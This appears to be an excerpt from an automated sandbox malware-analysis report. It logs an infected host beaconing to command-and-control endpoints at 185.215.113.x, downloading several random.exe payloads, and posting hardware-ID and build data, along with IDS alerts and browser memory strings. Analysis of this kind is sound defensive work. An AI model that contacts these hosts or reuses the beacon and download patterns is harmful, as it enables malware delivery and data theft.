Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010360001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010361001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGHJEHJJDAAAKEBGCFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 46 38 43 37 39 32 31 33 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 2d 2d 0d 0a Data Ascii: ------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="hwid"90F8C79213F51660493485------GDGHJEHJJDAAAKEBGCFCContent-Disposition: form-data; name="build"drum------GDGHJEHJJDAAAKEBGCFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 36 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010362001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010363001&unit=246122658369

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50068 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50070 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50071 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50072 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50076 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50077 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50073 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50078 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50080 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50082 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50083 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50079 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50084 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50089 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50092 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50095 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50100 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50105 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50104 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50107 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50106 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50108 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50109 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50110 -> 172.67.165.166:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 1_2_003EBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

1_2_003EBE30

Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlUpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/(browserSettings.update.channel == "nightly") && (version\|versionCompare('111.!') >= 0) && (locale in ['en-US']) && (region in ['US']) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/(browserSettings.update.channel == "nightly") && (version\|versionCompare('111.!') >= 0) && (locale in ['en-US']) && (region in ['US']) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/intervention_helpers.jsUpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jsSelects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/intervention_helpers.jsUpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jsSelects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/intervention_helpers.jsUpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateRestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)moz-extension://071e0a34-7cfe-4654-91b9-8996c51e5851/selector/callBackground.jsSelects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://securepubads.g.doubleclick.net/gampad/ad*://www.facebook.com/platform/impression.php--autocomplete-popup-separator-color://ads.stickyadstv.com/auto-user-sync://pubads.g.doubleclick.net/gampad/xml_vmap1*#onFormHistoryAutoCompleteSearchAsync equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
